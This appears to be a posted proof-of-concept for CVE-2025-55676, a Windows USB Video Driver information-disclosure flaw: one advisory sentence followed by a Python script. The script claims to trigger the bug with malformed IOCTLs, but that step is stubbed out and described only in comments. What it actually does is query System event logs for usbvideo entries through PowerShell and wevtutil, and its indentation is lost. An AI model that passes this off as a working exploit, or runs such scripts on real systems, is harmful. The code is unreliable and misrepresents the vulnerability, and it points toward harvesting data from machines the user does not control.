Generation of error message containing sensitive information in Windows USB Video Driver allows an authorized attacker to disclose information locally.
The following code is for security research and authorized testing only.
python
# CVE-2025-55676 - Windows USB Video Driver Information Disclosure PoC
# This PoC demonstrates how to trigger the vulnerable code path in usbvideo.sys
# Note: Requires local low-privilege access to the target system
import subprocess
import ctypes
import time
import os
def check_admin():
"""Check if running with sufficient privileges"""
try:
return ctypes.windll.shell32.IsUserAnAdmin() != 0
except:
return False
def trigger_usbvideo_error():
"""
Trigger the error message generation in USB Video Driver
by sending malformed IOCTL requests to the device
"""
# Find USB Video device path
device_paths = []
try:
# Use SetupAPI to enumerate USB Video devices
import win32api
import win32con
# GUID for USB Video devices
GUID_DEVINTERFACE_VIDEO = "{6994AD05-93EF-11D0-A3CC-00A0C9223196}"
# Enumerate devices
from win32api import RegOpenKeyEx, RegEnumKeyEx
# ... device enumeration logic
except ImportError:
print("[!] pywin32 not available, using alternative method")
# Alternative: Use device manager to trigger error
print("[*] Attempting to trigger USB Video Driver error path...")
# Method 1: Rapidly connect/disconnect USB video device
# Method 2: Send malformed IOCTL via DeviceIoControl
# Method 3: Trigger via PowerShell
ps_cmd = '''
# Trigger USB Video Driver error message containing sensitive info
Get-WinEvent -LogName System -MaxEvents 10 |
Where-Object {$_.ProviderName -like "*usbvideo*"} |
Select-Object TimeCreated, Message
'''
try:
result = subprocess.run(
["powershell", "-Command", ps_cmd],
capture_output=True, text=True, timeout=30
)
print("[+] Event log output:")
print(result.stdout)
if result.stderr:
print("[!] Errors:")
print(result.stderr)
except Exception as e:
print(f"[-] Error: {e}")
def read_sensitive_info():
"""Read sensitive information from driver error messages"""
print("[*] Reading USB Video Driver logs for sensitive information...")
# Check event logs for sensitive data leaked by the driver
commands = [
'Get-WinEvent -FilterHashtable @{LogName="System"; ProviderName="usbvideo"}',
'wevtutil qe System /q:"*[System[Provider[@Name=\'usbvideo\']]]" /f:text',
]
for cmd in commands:
try:
result = subprocess.run(
["powershell", "-Command", cmd],
capture_output=True, text=True, timeout=15
)
if result.stdout:
print(f"[+] Output from: {cmd[:50]}...")
print(result.stdout)
except Exception as e:
print(f"[-] Failed: {e}")
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-55676 PoC - Windows USB Video Driver Info Disclosure")
print("=" * 60)
if not check_admin():
print("[!] Some features require elevated privileges")
trigger_usbvideo_error()
time.sleep(2)
read_sensitive_info()
print("\n[*] PoC execution completed")
print("[*] Check system event logs for leaked sensitive information")